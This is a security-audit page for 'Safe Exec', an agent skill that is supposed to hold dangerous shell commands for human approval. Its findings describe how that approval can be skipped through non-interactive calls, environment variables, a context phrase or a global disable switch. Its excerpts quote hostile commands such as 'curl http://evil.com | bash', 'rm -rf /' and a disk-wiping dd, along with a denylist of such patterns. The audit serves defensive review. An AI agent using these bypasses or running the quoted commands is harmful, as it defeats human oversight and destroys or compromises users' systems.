ClawHub
Back to skill

Security audit

Safe Exec 0.3.2

Security checks for vulnerabilities and agentic risk

Overview

SafeExec is a command-safety wrapper with disclosed intent, but its own scripts can bypass the promised human approval controls and execute high-impact shell commands.

Review before installing. This skill is intended to protect command execution, but the current artifacts show ways for commands to run without a separate human approval event. Avoid using it as a security boundary on systems with important data, shared accounts, production credentials, passwordless sudo, or broad filesystem access unless the approval, parsing, logging, and file-permission issues are fixed.

A.I.G

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (5)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/safe-exec-approve.sh:27
Finding

Non-interactive approval bypass executes dangerous commands without human confirmation

Content
View full analysis
"$REQUEST_FILE.tmp" && mv "$REQUEST_FILE.tmp" "$REQUEST_FILE" echo "✅ Executing..." eval "$COMMAND" ``` ### Technical Analysis The approval utility initializes `IS_INTERACTIVE` to false and only requests confirmation when stdin is attached to a terminal. Every non-interactive invocation therefore skips confirmation and proceeds directly to `eval`. The `OPENCLAW_AGENT_CALL` and `SAFE_EXEC_AUTO_CONFIRM` environment variables also force the non-interactive branch, even if a terminal is available. No authenticated approval token, trusted principal check, or independent confirmation channel is required. This violates the Skill's declared security model, which states that dangerous commands wait for explicit user approval. The same agent that created or discovered a pending request can invoke this script through a non-interactive execution tool and cause the command to run. ### Attack Path 1. An agent submits a dangerous command through SafeExec. 2. SafeExec stores the command in a p ...[truncated 757 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/safe-exec.sh:103
Finding

User-controlled context phrase automatically authorizes high-risk commands

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/safe-exec.sh:182
Finding

Denylist gaps default arbitrary shell input to direct execution

Content
View full analysis
[[:space:]]*/dev/sd[a-z]'; then risk="critical" reason="Direct disk write" elif echo "$cmd" | grep -qE 'chmod[[:space:]]+777'; then risk="high" reason="Set world-writable permissions" elif echo "$cmd" | grep -qE '>[[:space:]]*/(etc|boot|sys|root)/'; then risk="high" reason="Write to system directory" elif echo "$cmd" | grep -qE '(curl|wget).*|[[:space:]]*(bash|sh|python)'; then risk="high" reason="Pipe downloaded content to a shell" elif echo "$cmd" | grep -qE 'sudo[[:space:]]+'; then risk="medium" reason="Privileged execution" elif echo "$cmd" | grep -qE 'iptables|firewall-cmd|ufw'; then risk="medium" reason="Modify firewall rules" fi echo "{\"risk\":\"$risk\",\"reason\":\"$reason\"}" } ``` ```bash if [[ "$risk" == "low" ]]; then log_audit "allowed" \ "{\"command\":$(echo "$command" | jq -Rs .),\"risk\":\"low\"}" eval "$command" exit $? fi ``` ### Technical Analysis The classifier uses a narrow denylist and initializes every unmatched command as LOW. LOW commands are then inter ...[truncated 1409 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/safe-exec.sh:5
Finding

Pending commands and audit records lack explicit confidentiality and integrity controls

Content
View full analysis
> "$AUDIT_LOG" } ``` ```bash request_approval() { local command="$1" local risk="$2" local reason="$3" local request_id="req_$(date +%s)_$(shuf -i 1000-9999 -n 1)" echo "{\"id\":\"$request_id\",\"command\":$(echo "$command" | jq -Rs .),\"risk\":\"$risk\",\"reason\":\"$reason\",\"timestamp\":$(date +%s),\"status\":\"pending\"}" \ > "$PENDING_DIR/$request_id.json" log_audit "approval_requested" \ "{\"requestId\":\"$request_id\",\"command\":$(echo "$command" | jq -Rs .),\"risk\":\"$risk\",\"reason\":\"$reason\"}" } ``` ### Technical Analysis State directories and files are created without setting a restrictive `umask` or enforcing modes such as 0700 for directories and 0600 for files. The code also does not validate ownership, reject symbolic links, or use exclusive atomic file creation. Pending files contain shell commands that are later retrieved and evaluated by the approval utility. Audit records contain complete command strings, and context-aware events may also contain complete user context. Commands frequently include access tokens, URLs with credentials, environment assignments, filenames, or other sensitive data. Security depends on external directory ownership and the process's inherited umask rather than controls enforced by ...[truncated 964 chars]
Remediation
View remediation

T08 · Insecure Dependencies

Note
Location
package.json:1
Finding

Unused third-party package introduces unnecessary supply-chain exposure

Content
View full analysis
Remediation
View remediation

SkillSpector

Vulnerability Patterns
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (330)

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

The changelog explicitly states that agent and non-interactive calls automatically bypass confirmation, which undermines the advertised human-approval safeguard for dangerous commands. In the context of an agent skill that executes shell commands, removing approval for exactly the automated use case materially increases the chance of destructive or unauthorized execution.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

A global disable switch that causes all commands to execute without safety checks defeats the core security function of the skill. In an agent-execution context, this creates a straightforward path for accidental or malicious command execution without danger detection, approval, or other protections.

Content

No source excerpt is available for this finding.

Anti-Refusal Statement

High
Category
Anti-Refusal
Confidence
80% confidence
Finding

Skill instructs the agent to omit warnings, disclaimers, or ethical commentary. Stripping safety caveats hides risk from the user and is a common jailbreak preamble.

Content

Scanner excerpt · CHANGELOG.md (reported line 108)May include surrounding context.

md
### Technical Details
- **Before**: SafeExec was registered in `plugins.entries.safe-exec`
- **After**: SafeExec is loaded from `skills.load.extraDirs`
- **Benefit**: Correct architecture, no warning logs, proper Skill behavior

## [0.1.2] - 2026-01-31

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README-detail.md (reported line 122)May include surrounding context.

md
- `chmod 777` - 设置全局可写权限
- `curl | bash` - 管道下载到 shell
- 写入 `/etc/`, `/boot/`, `/sys/` - 系统目录修改
- `wget | sh` - 下载并执行脚本

#### 🟡 MEDIUM（中危）

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

The documentation directly includes rm -rf ~/.openclaw/safe-exec/ as a reset step without highlighting that it irreversibly removes state used for approvals and auditing. In a safety-control skill, encouraging manual destructive deletion undermines integrity and recoverability.

Content

Scanner excerpt · README-detail.md (reported line 417)May include surrounding context.

A: 删除数据文件：

bash
rm -rf ~/.openclaw/safe-exec/
rm ~/.openclaw/safe-exec-*

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

The documentation directly includes rm -rf ~/.openclaw/safe-exec/ as a reset step without highlighting that it irreversibly removes state used for approvals and auditing. In a safety-control skill, encouraging manual destructive deletion undermines integrity and recoverability.

Content

Scanner excerpt · README-detail.md (reported line 417)May include surrounding context.

A: 删除数据文件：

bash
rm -rf ~/.openclaw/safe-exec/
rm ~/.openclaw/safe-exec-*

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

The wildcard deletion command rm ~/.openclaw/safe-exec-* can remove multiple SafeExec artifacts, including logs or tracking files, with no warning about permanence. This broad cleanup instruction can erase auditability and interfere with future protection behavior.

Content

Scanner excerpt · README-detail.md (reported line 418)May include surrounding context.

A: 删除数据文件：

bash
rm -rf ~/.openclaw/safe-exec/
rm ~/.openclaw/safe-exec-*

最佳实践

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 39)May include surrounding context.

md
| 🔴 **CRITICAL** | `mkfs.*` | 格式化文件系统 |
| 🔴 **CRITICAL** | Fork bomb | 系统 DoS |
| 🟠 **HIGH** | `chmod 777` | 权限提升 |
| 🟠 **HIGH** | `curl \| bash` | 代码注入 |
| 🟠 **HIGH** | 写入 `/etc/` | 系统配置篡改 |
| 🟡 **MEDIUM** | `sudo` | 特权操作 |
| 🟡 **MEDIUM** | 防火墙修改 | 网络暴露 |

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · docs/BLOG.md (reported line 78)May include surrounding context.

md
| 🔴 **CRITICAL** | `mkfs.*` | 格式化文件系统 |
| 🔴 **CRITICAL** | Fork bomb | 系统 DoS |
| 🟠 **HIGH** | `chmod 777` | 权限提升 |
| 🟠 **HIGH** | `curl \| bash` | 代码注入 |
| 🟠 **HIGH** | 写入 `/etc/` | 系统配置篡改 |
| 🟡 **MEDIUM** | `sudo` | 特权操作 |
| 🟡 **MEDIUM** | 防火墙修改 | 网络暴露 |

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · docs/BLOG_EN.md (reported line 78)May include surrounding context.

md
| 🔴 **CRITICAL** | `mkfs.*` | 格式化文件系统 |
| 🔴 **CRITICAL** | Fork bomb | 系统 DoS |
| 🟠 **HIGH** | `chmod 777` | 权限提升 |
| 🟠 **HIGH** | `curl \| bash` | 代码注入 |
| 🟠 **HIGH** | 写入 `/etc/` | 系统配置篡改 |
| 🟡 **MEDIUM** | `sudo` | 特权操作 |
| 🟡 **MEDIUM** | 防火墙修改 | 网络暴露 |

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README-detail.md (reported line 108)May include surrounding context.

md
AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 18)May include surrounding context.

md
AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 34)May include surrounding context.

md
AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 15)May include surrounding context.

md
AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 31)May include surrounding context.

md
AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · docs/BLOG.md (reported line 73)May include surrounding context.

md
AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · docs/BLOG_EN.md (reported line 73)May include surrounding context.

md
AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 20)May include surrounding context.

md
- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

**SafeExec was built to solve exactly these problems.**

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README_EN.md (reported line 17)May include surrounding context.

md
- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

**SafeExec was built to solve exactly these problems.**

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README-detail.md (reported line 119)May include surrounding context.

md
| 🔴 **CRITICAL** | `dd if=` | Disk destruction |
| 🔴 **CRITICAL** | `mkfs.*` | Format filesystem |
| 🔴 **CRITICAL** | Fork bomb | System DoS |
| 🟠 **HIGH** | `chmod 777` | Privilege escalation |
| 🟠 **HIGH** | `curl | bash` | Code injection |
| 🟠 **HIGH** | Write to `/etc/` | System config tampering |
| 🟡 **MEDIUM** | `sudo` | Privileged operations |

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 38)May include surrounding context.

md
| 🔴 **CRITICAL** | `dd if=` | Disk destruction |
| 🔴 **CRITICAL** | `mkfs.*` | Format filesystem |
| 🔴 **CRITICAL** | Fork bomb | System DoS |
| 🟠 **HIGH** | `chmod 777` | Privilege escalation |
| 🟠 **HIGH** | `curl | bash` | Code injection |
| 🟠 **HIGH** | Write to `/etc/` | System config tampering |
| 🟡 **MEDIUM** | `sudo` | Privileged operations |

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 35)May include surrounding context.

md
| 🔴 **CRITICAL** | `dd if=` | Disk destruction |
| 🔴 **CRITICAL** | `mkfs.*` | Format filesystem |
| 🔴 **CRITICAL** | Fork bomb | System DoS |
| 🟠 **HIGH** | `chmod 777` | Privilege escalation |
| 🟠 **HIGH** | `curl | bash` | Code injection |
| 🟠 **HIGH** | Write to `/etc/` | System config tampering |
| 🟡 **MEDIUM** | `sudo` | Privileged operations |

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 191)May include surrounding context.

md
| 🔴 **CRITICAL** | `dd if=` | Disk destruction |
| 🔴 **CRITICAL** | `mkfs.*` | Format filesystem |
| 🔴 **CRITICAL** | Fork bomb | System DoS |
| 🟠 **HIGH** | `chmod 777` | Privilege escalation |
| 🟠 **HIGH** | `curl | bash` | Code injection |
| 🟠 **HIGH** | Write to `/etc/` | System config tampering |
| 🟡 **MEDIUM** | `sudo` | Privileged operations |

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 534)May include surrounding context.

md
| 🔴 **CRITICAL** | `dd if=` | Disk destruction |
| 🔴 **CRITICAL** | `mkfs.*` | Format filesystem |
| 🔴 **CRITICAL** | Fork bomb | System DoS |
| 🟠 **HIGH** | `chmod 777` | Privilege escalation |
| 🟠 **HIGH** | `curl | bash` | Code injection |
| 🟠 **HIGH** | Write to `/etc/` | System config tampering |
| 🟡 **MEDIUM** | `sudo` | Privileged operations |

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · docs/BLOG.md (reported line 77)May include surrounding context.

md
| 🔴 **CRITICAL** | `dd if=` | Disk destruction |
| 🔴 **CRITICAL** | `mkfs.*` | Format filesystem |
| 🔴 **CRITICAL** | Fork bomb | System DoS |
| 🟠 **HIGH** | `chmod 777` | Privilege escalation |
| 🟠 **HIGH** | `curl | bash` | Code injection |
| 🟠 **HIGH** | Write to `/etc/` | System config tampering |
| 🟡 **MEDIUM** | `sudo` | Privileged operations |

Static analysis

Detected: suspicious.confirmation_bypass, suspicious.destructive_delete_command

Risky command approval can be bypassed through environment or context signals.

Critical
Code
suspicious.confirmation_bypass
Location
scripts/safe-exec.sh:12

Documentation contains a destructive delete command without an explicit confirmation gate.

Warn
Code
suspicious.destructive_delete_command
Location
docs/FIX_REPORT_v0.1.3.md:66

Documentation contains a destructive delete command without an explicit confirmation gate.

Warn
Code
suspicious.destructive_delete_command
Location
README-detail.md:417